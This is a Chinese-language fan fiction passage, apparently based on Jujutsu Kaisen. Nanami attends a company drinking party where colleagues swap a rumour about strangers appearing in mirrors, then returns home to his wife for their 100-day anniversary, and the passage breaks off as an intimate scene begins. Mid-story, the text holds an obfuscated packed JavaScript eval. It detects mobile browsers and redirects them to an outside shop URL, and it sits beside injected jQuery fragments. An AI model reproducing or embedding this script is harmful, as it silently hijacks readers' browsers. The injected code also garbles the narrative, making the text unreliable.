十月中旬,东京的秋意渐浓。
下午六点,证券公司办公室的灯光还亮着大半。
七海建人看着电脑屏幕上的邮件,眉头微蹙。
邮件是部门经理小林发来的,内容很简短:“今晚七点,银座“松叶亭’,庆祝山田部长升迁。全员务必出席。”
他看了眼手表——六点十分。
昨晚悠还特意提醒,今天是他们结婚第一百天纪念日,她会准备特别晚餐。
七海拿起手机,拨通了林经理的电话。
“小林经理,关于今晚的聚餐──”
“啊,七海君!”小林经理的声音带着醉意似的热情,“你可一定要来啊!山田部长特别提到你了,说你这半年的表现非常出色,那个外资企业的并购案处理得太漂亮了!”
“感谢部长赏识,但我今晚已有安排。”
“推掉推掉!”小林经理打断他,“这可是难得的机会!部长说了,明年春天海外事业部改组,需要提拔几个年轻骨干·……你明白我的意思吧?”
七海沉默了。
他确实明白——山田部长今年五十五岁,这次升迁到总部担任常务董事,正是用人之际。
而海外事业部的改组,意味着新的管理层架构和晋升机会。
“松叶亭的位子很难订的,部长特意选了那里。”小林经理继续说,“而且大家都去,就你一个人缺席,不太好吧?”
“……我明白了。”七海最终说,“我会准时到。”
挂断电话,他给悠发了条消息:“悠,今天晚上公司临时有聚餐,庆祝部长升迁,实在无法推脱。我会尽快结束回家。抱歉。”
几秒后,回复来了:“知道啦~老公大人工作加油!不过要记得今天是特别日子哦,我会等你回来~”
七海看着手机屏幕,嘴角微扬,但很快又恢复平静。
他收拾好公文包,看了眼桌上的日历。
三个月前的那场简单婚礼仿佛还在昨天。
六月的阳光,悠穿着白无垢的样子,还有她紧张得差点踩到裙摆的瞬间。
时间过得真快。
“松叶亭’是银座一家高级料亭,以怀石料理和隐私性著称。
七海到达时,包厢里已经坐满了人。
山田部长坐在主位,五十多岁的男人,头发花白但精神矍铄,正笑着听下属们敬酒。
“七海君来了!”小林经理眼尖,立刻招手,“来,坐这边!
七海在指定的位置坐下,向山田部长致意“恭喜部长荣升。”
“七海君,就等你了。”山田部长笑着举杯,“听小林说,你最近负责的那个跨国并购案,完成得很漂亮。对方公司的法务总监特意打电话来称赞,说从没见过这么严谨细致的尽调报告。”
“这是我分内的工作。”七海平静地说。
“过分谦虚就是骄傲了。”山田部长大笑,“来,大家举杯!祝贺七海君,也祝贺我们部门又出了一位人才!”
众人举杯应和。
七海也举杯,将杯中的清酒一饮而尽。
他的酒量确实很好——在咒术高专时,五条悟经常拉他去喝酒,说是“培养成年人的社交能力”。
虽然每次都以五条悟一滴就喝趴下告终,但七海的酒量确实练出来了。
酒过三巡,气氛热闹起来。
同事们开始聊起各种话题——最近的股市波动,新开的米其林餐厅,还有…一些都市传闻。
“你们听说了吗?”营业部的佐藤压低声音,“最近涉谷那边,好像出了件怪事。”
“什么怪事?”
“我表弟在警视厅工作,说这两个月接到好几起报案,都是关于“镜子’的。”
佐藤神秘兮兮地说,“有人报警说,在自家浴室照镜子时,镜子里的人……不是自己。”
包厢里安静了一瞬。
“什么意思?”有人好奇的追问。
“就是字面意思。”佐藤说,“镜子里倒映出来的脸,是别人的脸。有个家庭主妇说,她早上刷牙时,看到镜子里是个陌生女人的脸,还对她笑。她吓得摔了一跤,额头缝了五针。”
“是幻觉吧?”小林经理说,“工作压力大,或者睡眠不足。”
“一开始警方也这么认为。”佐藤摇头,“但后来接到类似的报案越来越多,而且都是不同的人,不同的地方。最诡异的是,有个公司职员说,他在公司洗手间照镜子,镜子里的人穿着和他一样的西装,但脸完全不一样。他盯着看了十几秒,镜子里的那个人……居然开口说话了。”
“啊?!说什么了?”
“你看得见我。”
包厢里响起几声倒吸凉气的声音。
七海默默听着,手指在酒杯边缘轻轻摩挲。
这类传闻在东京并不少见——人口密集的大都市,压力、孤独、都市传说,很容易催生这种集体性的幻觉或·…别的什么东西。
“还有更可怕的。”佐藤继续说,“上周,有个年轻女孩失踪了。她室友说,失踪前一晚,那女孩一直在浴室里待了两个多小时。室友去敲门,女孩说‘我在和镜子自己说话’。第二天,女孩就不见了。浴室镜子上,用口红写着一行字”
他顿了顿,压低声音“她取代了我”
气氛一阵沉默。
“这、这肯定是恶作剧吧…”有人干笑。
“警方调查后发现,”佐藤说,“那个女孩最近刚失业,和男友分手,还欠了一笔债。可能是压力太大,产生了精神问题,然后自导自演了失踪。”
这个解释让众人松了口气。都市传说加上合理的心理学解释,总是最让人安心的组合。
但七海听到佐藤话中的细节——具体到人名的不同的报案人,不同的地点,类似的经历。
如果是集体幻觉,未免太过一致。
“七海君怎么想?”山田部长忽然问。
七海推了推眼镜:“可能是某种社会现象。大城市生活压力大,容易产生投射性幻觉。加上网络传播,形成了类似都市传说的集体认知。
“不愧是七海君,分析得这么理性。”山田部长大笑,“来,再干一杯!别被这些怪谈影响了心情!”
酒宴继续。
七海又喝了几杯,脸上依旧没什么表情,但心里在计算时间——已经八点了,悠还在家等他。
他看了眼手机,悠十分钟前发了条消息:“老公大人~我在试“战袍’哦~等你回来检阅~”
后面跟着一个害羞的表情。
七海手指一顿,耳朵微热。
他想起今早出门前,悠神神秘秘地说准备了“特别惊喜”。
当时他以为只是普通的纪念日礼物,现在看来…·…
“七海君有事?”小林经理注意到他看手机。
“家里有些事。”七海站起身,“部长,各位,抱歉失陪一下。我去打个电话。”他走出包厢,来到安静的走廊,拨通了悠的电话。
“七海海!”悠的声音很轻快,“要回来了吗?”
“还在酒局。”七海说,“可能会晚一些。你别等我,先吃晚饭。”
“不行~说好要一起庆祝一百天的!”悠撒娇,“而且我蛋糕都做好了!是你喜欢的抹茶味!”
七海心里一暖:“蛋糕可以明天吃。你别饿着。”
“那………你大概什么时候回来?”
七海看了眼时间:“尽量十点前。”
“好~那我等你!”悠顿了顿,声音变软的,“老公………我给你准备了惊喜呢。”
七海喉结动了动,声音低沉了些:“……我知道了。等我回家,悠。”
“嗯~快点回来哦~”
挂断电话,七海站在走廊里,深吸了一口气。
窗外的银座灯火辉煌,但此刻他只想快点回到家,回到悠身边。
回到包厢时,山田部长拍着他的肩说“……七海君年轻有为,又成家了,正是干事业的好时候。明年海外事业部改组,我希望你能来帮我。”
“感谢部长的信任。”七海举杯,“我会认真考虑。”
这句话让山田部长很满意,又拉着他喝了几杯。
酒局快散场,七海打了招呼提前离场,出来时已经是晚上十点半了。
七海站在料亭门口,秋夜的凉风吹在脸上,让他清醒了些。
他喝了多少?大概8瓶。
对他来说不算什么,但确实比平时多。
叫了出租车,报上地址。
车窗外,东京的夜景飞速后退。
他想起佐藤说的那个传闻——镜子里的陌生人。
如果是以前,他可能会去调查一下。
但现在,他只是个普通上班族,有个等他回家的妻子。
普通人的生活,就是这样吧。
有推不掉的酒局,有想早点回去见的人,有需要权衡的事业和家庭。
还有,结婚一百天的纪念日。
十一点十分,七海打开家门。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154088|196498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玄关的灯亮着,客厅传来轻柔的音乐声。
他脱鞋进屋,看到茶几上摆着精致的烛台,蜡烛已经点燃,暖黄色的光芒摇曳。
悠从厨房探出头:“欢迎回来~老公!”
她穿着围裙,长发松松地扎在脑后,脸上带着温柔的笑意。
七海走过去,很自然地低头在她唇上印下一吻。
“我回来了。”他说,声音比平时更柔和。
悠闻到他身上的酒气,但不算浓“喝了很多?”
“还好。”七海松开领带,“抱歉,回来晚了。”
“没事啦~”悠帮他脱下西装外套,“菜我都热着呢,就等你回来~先去洗手,马上开饭!”
七海去洗手间洗脸。
镜子里的自己脸色正常,眼神清醒,只是耳朵有些红——这是喝酒后他唯一明显的变化。
走出洗手间,餐桌上已经摆好了晚餐。
不是特别复杂的菜色,但都是他喜欢的。
“看起来很美味,都是你做的?”七海坐下。
“当然~”悠得意地说,“虽然卖相一般,但味道我尝过了,还不错!”
七海尝了一口烤鱼,外皮酥脆,鱼肉鲜嫩,火候恰到好处。
“很好吃。”他看向等着他评论聚精会神的悠,轻笑一下抬头夸赞。
悠眼睛弯起来:“那就好~啊,还有蛋糕!”
她从冰箱拿出一个小巧的抹茶蛋糕,上面用奶油写着“100日”。
蜡烛插在中间。
“来,我们一起许愿吹蜡烛~”悠把蛋糕推到他面前,把蜡烛点燃。
七海看着摇曳的烛光,又看看悠期待的脸,和她一起闭上眼睛。
许什么愿?
希望悠健康快乐。
希望这个家一直温暖。
希望……能一直这样生活下去。
睁开眼,他和悠相视一笑。
吹灭蜡烛。
悠开心地鼓掌:“恭喜七海海和悠酱结婚一百天~”
“应该是‘恭喜我们’。”七海纠正。
“都差不多啦~”悠切蛋糕,“来,啊──给最辛苦的老公大人~”
蛋糕确实是他喜欢的抹茶味,甜度适中,口感绵密。
七海吃了两口,不经意的一问:“你准备了礼物?”
“对呀!”悠眼睛一亮,“你先吃,吃完给你看~”
七海默默加快速度吃完,趁悠收拾碗筷时,他起身从公文包里拿出一个小盒子。
“我也有准备。”他说。
悠惊讶地睁大眼睛:“诶?七海海也记得?”
“当然记得。”七海推了推眼镜,“十月十五日,结婚第一百天。”
悠接过盒子,小心地打开。
里面是一条精致的白金项链,吊坠是一个小小的月亮造型,月亮中间镶嵌着一颗很小的钻石。
“好漂亮……”悠轻声说。
“月亮是你名字的意象。”七海说,“而且,你就像月亮一样。”
温柔,安静,在黑暗中散发着柔和的光,是他即使在满天星辰里,永远第一眼就被吸引的人。
悠眼睛有点热。她拿起项链:“快帮我戴上嘛。”
七海走到她身后,接过项链。
他的手指碰到她后颈的皮肤,温热而轻柔。
项链扣上的瞬间,悠转身抱住他。
“谢谢七海海……我好喜欢。”
“你喜欢就好。”七海搂住她,下巴抵在她发顶。
酒意在这个温馨的时刻悄悄蔓延。
不是醉,而是一种放松的、柔软的情绪。
平时克制的温柔,此刻毫无保留地流露出来。
“那我的礼物呢?”他在她耳边低声问。
悠脸红了,从他怀里退出来:“你、你先去洗澡……·洗完澡给你看……”
七海看着她害羞的样子,心里一动。
他确实喝了酒,虽然没醉,但酒精让某些情绪变得更容易释放。
“好。”他说,“等我。”
七海洗澡的时间比平时短。
十分钟后,他穿着睡袍走出浴室,头发还湿着,眼镜已经摘掉。
客厅里,蜡烛还亮着,但悠不在。
卧室的门虚掩着,里面透出暖黄色的灯光。七海推门进去,然后停住了脚步。
悠站在床边,背对着他。
她身上穿着一件黑色的蕾丝睡裙,但他从没见她穿过。